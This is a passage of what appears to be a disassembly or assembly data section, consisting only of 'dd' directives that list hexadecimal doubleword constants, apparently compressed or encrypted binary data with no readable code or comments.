		dd 0A4D24B19h, 63208A00h, 13A3D762h, 214C3BCBh,	84075A4h
		dd 0D30006DEh, 41666024h, 0A741C0EBh, 9EBD9CADh, 0E38D6F00h
		dd 59B515A4h, 6C90B593h, 0FC00ABCCh, 31D8A34h, 0D0562Ch
		dd 0CD6DE31h, 0FEAECA21h, 5C461CBh, 18AC463Ch, 582C0D38h
		dd 11AC2449h, 16400A86h, 0C340AC9Bh, 39A043Dh, 0A764ACFEh
		dd 8EA8A6D1h, 0C9F93D3h, 0D4BB34F0h, 10E88C50h,	28EEE8Ch
		dd 27912D9Ah, 18C0B8FAh, 0BF067230h, 886A182Ch,	0A5871D99h
		dd 7909201Bh, 453D7C8h,	20604E24h, 6323DAA3h, 20511AEh
		dd 0F5A318DBh, 60347C5Bh, 0B2231BA7h, 0F3C8D09h, 49040F43h
		dd 0C7489092h, 217C98E7h, 0EF88DC13h, 0CE2F0123h, 0D9016E7Ah
		dd 96218BB7h, 8C4582Bh,	0FD370925h, 0D3A5E002h,	2010DC69h
		dd 8A620FCh, 0B8FE412Ah, 8C98293Eh, 0F9934A53h,	10AF00F2h
		dd 0A8E8C5DFh, 1F00816Dh, 8FBCC2F6h, 0EE2F682Ah, 1BC4029Dh
		dd 50211370h, 40E3E084h, 7B1C0681h, 0B4D0Ah, 70D35000h
		dd 18C3B27Eh, 15CF85Ch,	0DD36021Dh, 20E25Dh, 0E84398h
		dd 0CFCEECBCh, 92707BDEh, 847E027Ch, 38E854E7h,	6113FC84h
		dd 0DC6125D1h, 0FC37F804h, 0CAE58C68h, 1700F75Ch, 0E85D0B76h
		dd 0BA431D73h, 869F2AB8h, 1358B08Ch, 48F0B3FFh,	0C6C2C06Ch
		dd 0F873E055h, 916C99B4h, 7C1F267Ch, 0F40EE00h,	58262F9Ah
		dd 2D18708Bh, 0B23D6811h, 0D039DA0Bh, 60908CA3h, 8DDB27AAh
		dd 0CF06CCC2h, 0A23F2049h, 0A4B43E3Ch, 6B0404FFh, 0BF225F14h
		dd 53A46A20h, 0E8E55CA2h, 0F6827316h, 134D0760h, 0DEA7F3FBh
		dd 47832050h, 0A75D383Eh, 0E80A2479h, 4EE4148h,	207BD1ABh
		dd 0A90C3054h, 505E1786h, 93E53021h, 338EAA29h,	13188465h
		dd 0F7DEC42h, 5A0B0367h, 20FCC1CCh, 0BCB428B5h,	660F8C57h
		dd 20870A98h, 5008A1A6h, 48B60067h, 0FA99A7Ah, 0E70B892Ch
		dd 97D10509h, 805C915Ch, 0CAFC06AAh, 4FED0280h,	87C8DC81h
		dd 0ECD47262h, 0DA207D80h, 941DD3E9h, 905D021Ch, 1041ED62h
		dd 2E0BF4D1h, 5E3488A8h, 800720h, 0B1A3ED76h, 0BEA087E2h
		dd 62C4819Dh, 4980116Bh, 701A23CAh, 88B5C321h, 6708A8B4h
		dd 0B2C81699h, 0B91D0080h, 27518684h, 0B172EAh,	14675AA4h
		dd 2BE3F776h, 21666912h, 2C888412h, 0E501E9AFh,	0DB498316h
		dd 0C8316881h, 48538590h, 5404C7E6h, 0B467181Ah, 0AAE266F0h
		dd 4FADD318h, 5A9ED7A8h, 186881DAh, 18407E6Ch, 1D7A054Eh
		dd 80804EE5h, 2148A858h, 24440950h, 7D8079D4h, 62BA3205h
		dd 0F0D00563h, 4895E0Bh, 47AA6A15h, 80C8A01Dh, 68AB102h
		dd 82348752h, 4131B2C0h, 0C1CC1024h, 68914Ah, 0AB8FF058h
		dd 7300AA51h, 0A61657CBh, 796889DDh, 0DB3B0015h, 0A76AC2CCh
		dd 517E894h, 70A05EAFh,	0F4C7487Ah, 5EF01610h, 3AFE3CC8h
		dd 9A846C6Fh, 0A0BCC5FBh, 28CCB2Ch, 52055DBh, 7A19B6D0h
		dd 55D21E10h, 0AC60470Bh, 967807CBh, 5FDA09B8h,	80C48064h
		dd 5C02E75Ah, 907009D3h, 7E0F503Ch, 6F1F9C92h, 0A4652311h
		dd 0EA44D7D4h, 50F8A2DFh, 0D3808A1Ch, 48D2050h,	8B253Fh
		dd 16CA56E0h, 1D298Ah, 0CFEB9D01h, 0BF79B373h, 0E4397E28h
		dd 0D53B1E12h, 734FC4C8h, 226C00C9h, 4E5E2188h,	6E8C80Fh
		dd 7135D000h, 0B5541612h, 0B4505147h, 0C7480A3Eh, 55E0CE94h
		dd 0B4F0051Ch, 4A512C94h, 9FD455E0h, 0CF9348A5h, 0E39F7Ch
		dd 9542C01Eh, 0ACA0FB92h, 5E8001FEh, 0FAA0166Bh, 0BF7802F4h
		dd 0DC035C92h, 7114AA22h, 66508048h, 0A5096F4Ah, 0C4D8D851h
		dd 8A921E3h, 14742466h,	0C08092BDh, 0C0FF2F26h,	6BE20420h
		dd 0E4A232E5h, 9E027CCCh, 0CB7110Fh, 7D59005Fh,	5C004E99h
		dd 0B51FDD9Ch, 5865164Ah, 710E46Dh, 17048DCh, 2664ECF8h
		dd 0FC51816Fh, 701222DDh, 3A5C50CCh, 8E27101Ch,	45000748h
		dd 111692E8h, 4A628CAEh, 57DC720h, 0BAC4C2EEh, 0A4E474D4h
		dd 7AF2A4B2h, 0B832630h, 1D3DC42h, 9E6830A3h, 14D4BEE8h
		dd 0C108625Ch, 0AE0D4DCCh, 3C78006Ah, 67DB3FB2h, 468E600h
		dd 26664091h, 70A9C1A7h
		dd 5B6D2F9h, 308B801Eh,	1B8C818Dh, 90609443h, 18192E09h
		dd 25D2C000h, 9D46AC35h, 0E4001B22h, 19925CBh, 2443AF10h
		dd 12D4F265h, 0AB68C19Eh, 0F0420E0h, 6024909Eh,	66A93501h
		dd 702C985Ch, 98C7CBCh,	0AE870B0Eh, 6B77A4A0h, 5CBB09B5h
		dd 0C780370h, 14E8896Fh, 0B7006519h, 4A0FE2DEh,	3A2E51h
		dd 0CFD0D847h, 9687F0DCh, 2D4A09Fh, 0A048C174h,	0B7F3BD0h
		dd 0A187FE5Ah, 0CD0EE88h, 19F8F879h, 0B1CA480h,	11A32CABh
		dd 1A474802h, 44631602h, 0BC503D0h, 95735C5Bh, 0E8985948h
		dd 0A4058C78h, 0DDC9A93h, 8D5464C0h, 951414DDh,	1F7834E3h
		dd 0B714659h, 14A1996Dh, 62E515C9h, 93EE00C0h, 0D3CF1D10h
		dd 6090BF20h, 7439DF6Ah, 3B79730Eh, 0DA5EA63Fh,	881674C8h
		dd 9D7DFBA5h, 0C4AC974Ch, 6605798Bh, 11AC92A2h,	49D6CCAh
		dd 37808F11h, 75DA9BCEh, 1703B727h, 8B059144h, 328C00C4h
		dd 1EEC382h, 54015A1Bh,	2D866646h, 52E7D1Ch, 30264897h
		dd 183D7B84h, 62C261Dh,	8004A9D9h, 1C023A46h, 0CE63C6A3h
		dd 9E28233h, 0CAA37E00h, 0F91E2633h, 0C06F8EA8h, 9A6B50A8h
		dd 6CE41D90h, 0B08C6217h, 10740558h, 87181F41h,	7A2519AAh
		dd 0A0C46D05h, 70926F2Eh, 0E19CE1E4h, 5C09EC6Ch, 9C4065DBh
		dd 7636BF0Bh, 46C0D851h, 0A31A0250h, 32BE63DCh,	0D98098F4h
		dd 9F40A312h, 62EA0352h, 4261DBFCh, 4BBE9104h, 0F8F56C7Fh
		dd 0C40DF6E4h, 81FC9968h, 68AF95B8h, 0C0D48800h, 6FD26235h
		dd 0EF225446h, 624DA81Fh, 0BAF90585h, 0E24F40E4h, 9C71D5B1h
		dd 0B500F1BCh, 0E05F4510h, 902917E5h, 9C7954E8h, 0C2720518h
		dd 0B97019EDh, 0DC160110h, 0EB1EBBBEh, 0B71264F0h, 0DE687C0Ah
		dd 0A04BCC00h, 5217E9BFh, 0BC41ECAh, 0A44AD751h, 9000319Ch
		dd 1194ACC1h, 0F54EE8h,	5512C76Ah, 5D62184Ch, 24D9E488h
		dd 421CE943h, 457462Fh,	50230ECh, 28F842A7h, 1E5D104h
		dd 0F4F4061Bh, 72914373h, 9C631888h, 490A6E0h, 4180DB86h
		dd 741FA540h, 40B69420h, 631057E3h, 3C1F49B1h, 0B0646F16h
		dd 3D24EE00h, 300D4692h, 0A2EC000Fh, 7A231F2Ch,	8C0067E2h
		dd 66D39E41h, 206B61F8h, 0D70B4311h, 0D207DABEh, 1971696Ch
		dd 140C34C6h, 314561DCh, 0D4020953h, 0A8901FCDh, 89C05842h
		dd 6DD0F767h, 0E31300B9h, 0DD1D06BEh, 6C38D71Ch, 320585C2h
		dd 88202665h, 5EE72170h, 614097B9h, 6804B2F9h, 7BE20CDCh
		dd 269F69B1h, 0AD8C0AAFh, 0D362E448h, 9034A124h, 4CE0C264h
		dd 9C000CAh, 0BB6ADA75h, 64BAB6EBh, 98F9820Ah, 5D04E079h
		dd 0C4CC39C3h, 0E1E01DB3h, 0F3CA80ADh, 551A9ED7h, 53E48482h
		dd 0D9A31D60h, 11166323h, 15D40006h, 0C7585BA3h, 669018A5h
		dd 0C4C948EAh, 68D01B0Ah, 3824C870h, 0E82B810Bh, 805382A4h
		dd 71097E77h, 422DCB4h,	4245AC18h, 20B440EAh, 3C07F6C9h
		dd 0C53A9507h, 1AE5F939h, 64449C12h, 0E8044A99h, 1EF6400Fh
		dd 50CD7B5Ah, 36F8C7h, 76A45B78h, 4AE5221Bh, 25E81A02h
		dd 72D796ABh, 6E3D3CA8h, 107C571Ah, 4B3A9C44h, 1E2408Bh
		dd 0A8FC879Dh, 0D0920BD4h, 0E92551C5h, 5042914h, 6C872024h
		dd 0C21F854h, 6216111Ah, 27C5432h, 0DBB45917h, 0F05A1CEDh
		dd 0EE1220h, 85BE6877h,	0BB216527h, 882838F9h, 7E168187h
		dd 6073DBA7h, 915AC738h, 0E22B5444h, 0D8881B0Bh, 241E081Ch
		dd 80BE1C28h, 10A5EF0Ah, 59AE640Dh, 93942441h, 8A29089h
		dd 184D0C11h, 0DBA3081Fh, 0EC4A663h, 0A317DA40h, 280FCD77h
		dd 2495523Bh, 658054B3h, 76941DB7h, 0F82D687Bh,	0A295088Ch
		dd 157B719Eh, 18C4BF96h, 63B820E6h, 9ABE3AB7h, 3815F11Ah
		dd 7C1A7EC1h, 8C8FE8E4h, 2C9C2F00h, 0B0AD17AAh,	0F409CF2h
		dd 4A01E9CCh, 82A6CF86h, 0EB116C80h, 169481C8h,	0E048E65Dh
		dd 3E78B90Ah, 94A5962Dh, 7D90EC70h, 0D3672894h,	0C5AC36E1h
		dd 908B1A18h, 0FCA625C4h, 0F1CF16D6h, 0A7FF8147h, 0A47C6452h
		dd 0F4F2806h, 2548A05Ch, 5463FEDAh, 0AA14FFD8h,	0D360D016h
		dd 60368462h, 0B13C6F1Bh, 4EA9C084h, 4F4CA162h,	80BB80CCh
		dd 103DBB8h, 118ED0F4h,	351CC797h, 2115F098h, 90230580h
		dd 0E9E1250h, 0FAF407CBh, 7B03DFAEh, 0E002A762h, 37C3523h
		dd 10C456B6h, 717BCDBAh, 825B3C24h, 6D0F8CF9h, 0A47BEB2h
		dd 94A3D411h, 0BB96B946h, 16667024h, 880E7321h,	51C16FBCh
		dd 569EA085h, 4025C612h, 0ACC354C3h, 2411500Bh,	811888E3h
		dd 14C7501Bh, 97A0282Dh, 80769134h, 0D85B9311h,	617717BCh
		dd 246C08AAh, 1820E812h, 13D7C86Ch, 9141697Fh, 0FCF25FF4h
		dd 843EC28Eh, 0F003FFE6h, 799A186Ah, 9E6780A6h,	0C51B0592h
		dd 0E0CDDA5Bh, 0C990544h, 40C40196h, 79235C2Eh,	0AA5ADA00h
		dd 0A38F9386h, 0C052FAB4h, 808467E8h, 0A01787E8h, 0DCD2E7D1h
		dd 0A319304Fh, 0B663C516h, 1D01438h, 143BA311h,	34F6F9EEh
		dd 2A3EBE3Ch, 0D9E7926Dh, 0E490B044h, 6F01F842h, 1AA27C6Bh
		dd 7AD1F451h, 132E1718h, 69086042h, 8D400922h, 1C19C468h
		dd 772F6A00h, 2870B80h,	0B0049AF1h, 0C15307A0h,	40108606h
		dd 0F4BB4E12h, 22CE6117h, 0A4169891h, 0AC0E9B00h, 53E3C90Fh
		dd 205C7268h, 0BD740245h, 0B4D85094h, 9C480033h, 0F9F7C3AAh
		dd 4BA1B4Ah, 1279A4B9h,	85EC6F18h, 1E790E0Bh, 1190046Dh
		dd 8410ED12h, 9C94E709h, 0B0E318C1h, 1C48F43Ch,	38C5EBCh
		dd 119566E0h, 0FBB8F223h, 0DD03C178h, 5140250h,	5E2DAAFh
		dd 3BD8C07Ah, 4E12BDCEh, 0ACA35EAAh, 87F89A4Bh,	0B500896Ch
		dd 9583428h, 8A68185Fh,	66201464h, 0E7EF0006h, 4DC771DDh
		dd 38B012A7h, 561AC520h, 0E048C5Dh, 0E9B97F01h,	0C8743B44h
		dd 9337107Ch, 834EE33Dh, 41A4999Ch, 531312F1h, 96D3085h
		dd 0ACE4D2FBh, 6C095CC6h, 0D1427401h, 0F358B180h, 0D15C1385h
		dd 887015C9h, 63628872h, 0B01C554Bh, 444887C3h,	95E8E0E9h
		dd 2DDD263Bh, 0C1A20F1Eh, 5C592F62h, 407268E2h,	0ECC71600h
		dd 0AB073F7Bh, 389501ACh, 64CB56F7h, 0A4C7027h,	911EF42h
		dd 0DE8C084Bh, 0D6E00E2h, 0B8286A11h, 76F30B01h, 4D24EEC5h
		dd 219F3830h, 86145EDCh, 0ED72C5BCh, 5006E8C8h,	588D9802h
		dd 0FDC8F011h, 911017AFh, 59478254h, 2B4DAE5h, 0A0BD7EAFh
		dd 8C071C3h, 8499149Bh,	88A4F1A5h, 48231EFEh, 6E0E5691h
		dd 0D19262F9h, 0C63DF60h, 7A1284E2h, 9CECA8D3h,	0C0946689h
		dd 87798462h, 1E044ADh,	0A1164599h, 5478132Eh, 5C40882Ch
		dd 0D045D325h, 8D08528h, 28A4410Ch, 82209918h, 11448604h
		dd 0AB2F0205h, 0C81B3F44h, 5B402450h, 0A07C9Ah,	0B1C5C82h
		dd 0D36E7764h, 0F07023F5h, 885EDF77h, 2184924Bh, 3E783CDDh
		dd 0F17A84ECh, 0FC1DED84h, 0B896A96Bh, 4674EC2Ch, 60BC0078h
		dd 87499115h, 142297A3h, 80803263h, 3793D533h, 12C2C53Ch
		dd 0B4C00E9Fh, 0C53D1ACAh, 317C57C0h, 2DFE40D4h, 49AD14C0h
		dd 10EEC8D4h, 1841701Bh, 18A2FC63h, 21A830h, 9ECAA77Eh
		dd 8E9D80EAh, 0A4B42726h, 0F1E91209h, 320613DCh, 0A82A1060h
		dd 4180D011h, 746FCE62h, 0E81695h, 0E76239A4h, 0A18A103Fh
		dd 3CC52A0Bh, 361C02DFh, 10AC5A15h, 51EB5DBh, 0AA6E970Bh
		dd 2FEDACD2h, 2BDBC3E0h, 0FD1F1CDCh, 180B8870h,	7B404E2h
		dd 8B22961Dh, 0E307C46Ch, 887CB230h, 17A98718h,	0D67BE219h
		dd 1FA448ACh, 0D509A599h
		dd 968C64E0h, 1A04260h,	878B745Ch, 79DC4897h, 295F604Fh
		dd 0E041E269h, 487EC00h, 0CDCB151Ah, 7E7B77E6h,	7E2F185Ch
		dd 6C18A162h, 1C1730A4h, 980438ADh, 0D10788D3h,	232E81D7h
		dd 0F93A0093h, 5F072522h, 0F14F88E7h, 74667580h, 1400B93Ch
		dd 3215DFCh, 0F40233h, 6D7E6589h, 11585408h, 70F6A727h
		dd 26DC8E4Ch, 74B80ED5h, 20618FFh, 40343EDAh, 8C760BAAh
		dd 0F9E7C342h, 1884794Ch, 5DB700C0h, 547038BEh,	0B7466ACh
		dd 946B1818h, 0A4AB8729h, 0DB6208F8h, 503426Dh,	10C1ABFh
		dd 0BC70C980h, 3B1EDDAAh, 8123A02Fh, 0CA8DDB00h, 1CF42CACh
		dd 28BD9E26h, 80A77ADCh, 31C09150h, 493384C1h, 0B0B090h
		dd 0AFCD930Ch, 96A85E30h, 8E700402h, 5205EA10h,	53A400ECh
		dd 115DED3Fh, 2CBED03Ah, 1C1D465Eh, 3380F22Dh, 1344A2DBh
		dd 6FF0C2A1h, 0B07EEF19h, 7102D889h, 36180028h,	0F1C3205Bh
		dd 0F967EB01h, 938A704Bh, 0E0E5E4h, 33128381h, 0ACE6625Ch
		dd 97962416h, 96C4840h,	3B42694Eh, 0C0548D8Ah, 39E407B0h
		dd 0E001A92Ch, 1472377Fh, 0BA66040Eh, 29424C02h, 1E930019h
		dd 3B07157Bh, 0A0132016h, 0B0AC53D7h, 54E8CAh, 0B062261Dh
		dd 8B00A411h, 5DD42ACAh, 14E206B9h, 0F82F296Bh,	2EA83607h
		dd 1449D943h, 93718DEh,	646FC862h, 0A200709Ch, 0C7A624Fh
		dd 0A928826h, 46CBF017h, 136304A0h, 8756405Fh, 25D044BEh
		dd 5C450B5Dh, 2C6010C4h, 48009954h, 6E2DD42Eh, 740DED94h
		dd 0E2410570h, 0B4365963h, 0B240B730h, 19D310A4h, 0A48B921Ch
		dd 0D5C013C8h, 2EEE3BB8h, 9420C03h, 0D0209ABFh,	0A580A95Ch
		dd 4E011C14h, 369D04C8h, 0E8AC140Bh, 0EE8C54BCh, 0A70517B6h
		dd 8AF04076h, 0BFE71BC4h, 0E12E1238h, 6B4D4611h, 0A8432423h
		dd 0E83318A2h, 0E9CD0Ch, 0DB07ADC8h, 6E17F149h,	6606997h
		dd 2B6B4D30h, 2FA041BDh, 24029C35h, 5B4A1740h, 7134A948h
		dd 1E2D18EFh, 0D35B0BC4h, 0C8508BE7h, 3490C081h, 361D29BEh
		dd 8A405FD9h, 0B78EA8C8h, 344A9F86h, 500905Ah, 3CC44A9Ah
		dd 5AE555A5h, 87449027h, 4EF04920h, 0B4C21300h,	3145688h
		dd 0E24CEFh, 5742A24h, 884A2EB3h, 8403D764h, 5A0B39E8h
		dd 51C815C9h, 7C78985Ch, 5E7318h, 0D5A740F8h, 0CAE81C39h
		dd 342E87F8h, 0DB0298D3h, 0D0606DD2h, 1674804Ch, 48F7002Ah
		dd 6870DD58h, 644C9DBBh, 18342234h, 0E1F35E2Ch,	72F11F8h
		dd 0D08C25ABh, 61E2E8F2h, 0E6D530h, 0C6C0F386h,	0D32EA109h
		dd 0C4E48B5Ch, 0B8A4E253h, 10414205h, 1A040306h, 536D09EAh
		dd 1FF264B2h, 487F3E30h, 900B8856h, 20D6C6Fh, 0B20063F0h
		dd 0DEB3011h, 66955C09h, 797C0222h, 240E0F40h, 0A70170C2h
		dd 0F4A31C78h, 80EC3DF3h, 869DD0Fh, 9131398h, 20F44B1Ah
		dd 14ED003Ch, 2EAF18A1h, 753A61BCh, 0CC2A2455h,	48C67702h
		dd 617C7885h, 6B7148D3h, 9C70A0E7h, 90357920h, 109E2008h
		dd 5D97E804h, 0F4BC5EB8h, 80ED201Eh, 0D8B1BFDAh, 8F4E96AAh
		dd 604BD4B0h, 5AD6898Ah, 0EE168031h, 0A8D0420Ch, 0F9F8D4h
		dd 7627C26Bh, 0A6B037BCh, 6620D10Bh, 0E44CE545h, 917B6007h
		dd 0AA50096Ch, 6478C38Eh, 18E21CB0h, 9D876822h,	313BC0C4h
		dd 0C4EB8006h, 0FB1C7B15h, 0E4395C55h, 0AB26ACC2h, 7B608058h
		dd 0FC1BE3B9h, 1E39012Eh, 0CE95929h, 0B751ADA4h, 0CDEF0004h
		dd 7A612DB0h, 5BBB702h,	0B5706AFh, 54878C1h, 0A56A6008h
		dd 1AE00882h, 1053AA03h, 4D0892B8h, 2DB2BC70h, 6C68413Eh
		dd 5000799h, 329749F8h,	3A137BFh, 307B9885h, 0D090C567h
		dd 6B1661F6h, 0E4491749h, 280F9AAh, 0CB1ABE63h,	0E54028DCh
		dd 0E80D6AACh, 7B6B007Dh, 0A49B6F3Ch, 0CA0374BDh, 0CCC884ECh
		dd 41802624h, 0E91840BCh, 0B67A9242h, 2F86B00h,	46A950DDh
		dd 0CC3C04C7h, 0A4AC871Ah, 4D1C9A24h, 0C3C16E72h, 0D052A96Ah
		dd 54F2F432h, 741C7130h, 0B442F9DAh, 0FB94A9B5h, 23E7078h
		dd 2FFEE700h, 8D2D99C1h, 8F975B8Ch, 0C30D8888h,	0F09F01FEh
		dd 16F15629h, 63205D04h, 0B68498ABh, 14D04E0h, 0F6EDA918h
		dd 0CFB2BF0Bh, 0E2381842h, 9BEB300Eh, 11BDB500h, 9166ABCBh
		dd 871704E8h, 0E8204FA6h, 0DBDCC20Ch, 9F0849BDh, 0E8409429h
		dd 0BE4988E4h, 84F34E38h, 0AB8EAC78h, 421E1890h, 3A94277Dh
		dd 8674D882h, 8A047E00h, 0D90A0343h, 87E7F1A0h,	0B45CB4A2h
		dd 8BBBD042h, 8101D34h,	0F64E305h, 0EC264CCCh, 0E04F6066h
		dd 0BE2FBDFEh, 0EE6DF901h, 0BB9515A0h, 1062985h, 0A2B0B043h
		dd 38A199C5h, 44293C8Ch, 14487B1Fh, 3D3B2224h, 76A62E4Ch
		dd 3929194h, 0FAA0C0C6h, 0E97F80Ah, 4EC00B4h, 0E22AF8F1h
		dd 2B496563h, 594A07B4h, 0B0B4F96Dh, 2E00D0ECh,	1AD90842h
		dd 0F72C016Eh, 0F080B0E1h, 315D17E9h, 641495E7h, 0B8FBA40Eh
		dd 6C7B80EBh, 7C628421h, 0E870051Dh, 0A2979241h, 35DB085Ch
		dd 0A711024Bh, 590BA4E2h, 180C79C4h, 888F007Dh,	139B367Eh
		dd 7917BE71h, 40F406EAh, 4342327Dh, 0EC7B13B1h,	6E3B4001h
		dd 583A9A96h, 0AA7E2958h, 0EA2AFB04h, 0D4A82F18h, 6380E588h
		dd 2143D59Eh, 8404B688h, 0B5EFFBEh, 3278E1F1h, 0EE41E051h
		dd 5FDE3980h, 0F1F48AD0h, 0C9972000h, 90087AD7h, 576E3CD8h
		dd 0AE81AD8Bh, 0AC8468F1h, 0B8B03B2Eh, 0A0849721h, 5CF216E4h
		dd 0FCCF6304h, 1084B8DBh, 7C4CE777h, 388C0CE8h,	4F007A2Ah
		dd 5C809B73h, 0C74986AAh, 0D86613ACh, 3D2724B8h, 61DD1460h
		dd 247A9E58h, 6310B81Fh, 1C704D27h, 71DE2CA1h, 0ECCC3E34h
		dd 486C761Ah, 0F983001Eh, 0A4E03B6Fh, 0B4BC9DDBh, 0E8CD709h
		dd 4F15A814h, 9A00ABA8h, 3B789230h, 7CE52953h, 0CF960594h
		dd 20540279h, 18566418h, 0BEB05D84h, 0F9615E4Fh, 2BE1F6EAh
		dd 0E985841Dh, 0A8404B8Ah, 23C36877h, 2E48C80Eh, 0B882B410h
		dd 420105B2h, 0A4685F21h, 4030FEEDh, 4E98096Ch,	0EC0137EEh
		dd 0E209EA17h, 7EE59611h, 97A80405h, 1174A89Ch,	344EE69Ah
		dd 0E7D40420h, 74500675h, 59E019B1h, 22CC870h, 870B2095h
		dd 88A4E17Ah, 7884355Ah, 45B88CF9h, 8A9F0B08h, 414204E7h
		dd 0A8C885Fh, 0F020B542h, 0CE30F20h, 797A7E77h,	0D7500980h
		dd 7D133AC8h, 0ECC84FD3h, 6278BCADh, 4F00410Dh,	7F51AAh
		dd 0A44C80B0h, 657C8DE0h, 0A804975Eh, 0A50223F7h, 2C741E98h
		dd 59E9A90Bh, 188F7970h, 177D3982h, 52B76D05h, 0BC84BC22h
		dd 0B80E8C5Bh, 8BB2EB92h, 7044D3A1h, 9715085Eh,	12B4F74Ah
		dd 0B409D77Eh, 0C4D0C5D0h, 0E9A4605Bh, 838124F5h, 0FE608D4h
		dd 38EAA04h, 0FC01A0F1h, 103C9EBFh, 6B28E14Fh, 0E5BE7C21h
		dd 9D6B5E00h, 0AC3C3441h, 8C76BCh, 0D41160C8h, 0E86BCB0Eh
		dd 7869732Ch, 0E62254A8h, 0BA63165Bh, 50490B58h, 3A4D5402h
		dd 0D484B45Eh, 34C04379h, 0E3602Dh, 0B029FDCFh,	1F2A492Eh
		dd 3F67EB01h, 0CCF8BF11h, 0F6685C40h, 0ABE101F4h, 0B39EE456h
		dd 4CAC336Ch, 0D6F001D4h, 0B4F32165h, 0A858942Bh, 594076C8h
		dd 8C73525Ch, 47AF1103h, 0E8E1EA9Dh, 0F0108492h, 9F4FECA5h
		dd 0ECE97604h, 835CC1D0h, 0F1862F45h, 59EA0ABFh, 136D8B18h
		dd 4865B318h, 0B2DFC5Bh, 63800CB5h, 0CE0A64DAh,	0D0F1267Bh
		dd 52475E58h, 0BD02563Eh, 42817B94h, 5F448854h,	30EFC34Eh
		dd 2284B960h, 7F418B5Eh, 0FA2D2C7Ch, 39DB6448h,	283F1F41h
		dd 1A44F8E4h, 0B438F957h
		dd 0F1B08A1h, 0C2C01A88h, 0FE4AE2A6h, 302F00BAh, 0CB4E931Bh
		dd 2E12A264h, 34A8869Fh, 5C0FE8C8h, 17111E91h, 29DC1A05h
		dd 45600433h, 180C21A9h, 9C17A1A5h, 42891191h, 0B408E48Fh
		dd 0D0B21512h, 1AA5D400h, 8EA903FDh, 165C6D1Ch,	9E5B5540h
		dd 0A83B48h, 8DBB9496h,	83117010h, 0D8F0035Ah, 0AED3205Eh
		dd 5BFE6E48h, 330F8480h, 3B424FA6h, 5C239Ch, 0E08BFB23h
		dd 0CB0B99D7h, 79AE1E5Eh, 0C2C58B98h, 0FFF8B003h, 9B864A80h
		dd 0C85F64BAh, 2F71C420h, 3D700ACh, 823EDC2Ch, 0FC1E79CAh
		dd 3D8296EFh, 554FC0D5h, 7EC8CC20h, 51028B11h, 23551FBDh
		dd 0E010D5DAh, 24580B9Ah, 20445B00h, 0A400FE5h,	6B3AB5B9h
		dd 71EF0303h, 0EF202D3Dh, 424ADCB0h, 9F84123Fh,	0DD20215Fh
		dd 5C6B3EBCh, 793BA700h, 0F556D0B6h, 0CA0F417Fh, 0F40B210Fh
		dd 2CA35AC8h, 0D9D81201h, 6AB87219h, 0BC78F4CDh, 398C57BCh
		dd 7CF4DDh, 2BAEDB1Dh, 57010531h, 49791261h, 8F30847Dh
		dd 901895FFh, 61207C02h, 3A664E4Bh, 0E2437024h,	0FB018505h
		dd 8820AF2Dh, 0FE835AD7h, 57C500BBh, 5C5144B9h,	0C116C7CFh
		dd 24E071E0h, 0B3B801Dh, 0D06DE802h, 0F64F9622h, 84242F84h
		dd 25CE6014h, 0BDAC2141h, 25C7E0C0h, 0DCE109F3h, 0C5E610Ah
		dd 19519118h, 0F80997B7h, 0C63F201Dh, 7700043Fh, 35360CB0h
		dd 0A904201Fh, 0EF93949h, 1DF8D8A8h, 72BF008Ch,	0A8BD4F65h
		dd 48966726h, 33A34007h, 44B19382h, 0FBF10E0h, 459A015Fh
		dd 34DC996Ah, 6D215031h, 5444D86Eh, 9000A570h, 0EFD3B610h
		dd 434748Eh, 6DDD61B2h,	0BC80FD17h, 0EF690271h,	0AB096FD4h
		dd 5879286Ah, 0F8191079h, 66321841h, 0F2E86177h, 7BD7004Ch
		dd 3EB8FD54h, 380508B4h, 8BE263CCh, 0EA0441BEh,	303031AFh
		dd 0D9041F3Dh, 23D865CDh, 222100C1h, 0B868ED05h, 0F5A0075h
		dd 0A9BD6D2Ch, 119F7A45h, 2C3C51FCh, 3B19B78Ch,	1B587BFAh
		dd 0C13D3050h, 4A5F5EACh, 20949177h, 84022FD7h,	57A8B86h
		dd 0A041AA0Ch, 40A9063h, 0A604882Fh, 0B649D3Ah,	0FAC71CAAh
		dd 0E100228h, 60C47033h, 43EDA4C0h, 9C241880h, 0A9574218h
		dd 50955002h, 707CBB84h, 9712266Eh, 0E8F836A3h,	4AEF2EC3h
		dd 0DDC5600Bh, 0E50E8280h, 0F15CD97Fh, 249181Fh, 1BC16C51h
		dd 0E480F73Ah, 58641821h, 6A2A09FDh, 92A700D8h,	0A2D277A9h
		dd 79611326h, 58B280h, 3C4837A4h, 2C71D1h, 0E3A2B894h
		dd 0BC4419Bh, 7B5E5A05h, 9BEED5Dh, 0D47AEFB4h, 8054B5BDh
		dd 61A3A5Ch, 1404DC8Ah,	826F96Eh, 0EC941605h, 0E980C790h
		dd 9F4E8A9h, 0D8608A07h, 970A3161h, 0C045D32Eh,	423248A8h
		dd 0F2504104h, 39920294h, 8E64FE7Ah, 16895840h,	1458962Bh
		dd 37CB2900h, 7DB9D3F7h, 7521C042h, 6870DCD9h, 5C04B612h
		dd 2D05B4C8h, 0B4E072AFh, 8492F994h, 48C3A544h,	0CC80F0E5h
		dd 0D9265882h, 0AFAEED01h, 34EB7732h, 0F29239C4h, 5CDB0066h
		dd 0C75ABE87h, 0D625B0A5h, 18D4AC56h, 0C597054Fh, 0EEB6F4A3h
		dd 105A6C08h, 0E0A62FD0h, 5B23A3E4h, 5400E0BDh,	227898D1h
		dd 54179F80h, 0F8805B91h, 3850811Ah, 6EF96F13h,	6116F0C1h
		dd 0B4581469h, 172710h,	0E09F5D0Fh, 4F317275h, 3940089Dh
		dd 0CC59A5h, 434EB2C9h,	4B07AC45h, 1796AADAh, 24188838h
		dd 762CD480h, 120D8AFEh, 82CFE51Eh, 88C50B8Ch, 80651AE4h
		dd 0F80D7772h, 1E02BBE8h, 7BAA450Bh, 2CCCD681h,	8F2300D4h
		dd 0B796A924h, 26379940h, 83483D7h, 0E5083245h,	0C23C8313h
		dd 1A015CFh, 0A700D2DEh, 0BF90BC37h, 939FA2Dh, 7AC32EA2h
		dd 16A0A848h, 0BD6C1888h, 0E274D066h, 954FC980h, 81463820h
		dd 3F00134Dh, 2383F45Ch, 1CBE69Dh, 7C86EA47h, 7A022B71h
		dd 9042100Bh, 1CBEA184h, 18A076h, 0EC8255C1h, 0A20052B1h
		dd 8E427C11h, 0B4A69DDh, 50EE86D2h, 0CB3914D9h,	3E6840C0h
		dd 0E6B500DCh, 0BA6DC4D3h, 8F95AA14h, 541A2970h, 3E1C0078h
		dd 0F9707524h, 0EC0D662Eh, 0B219E353h, 0B42BFDFEh, 459EB4F1h
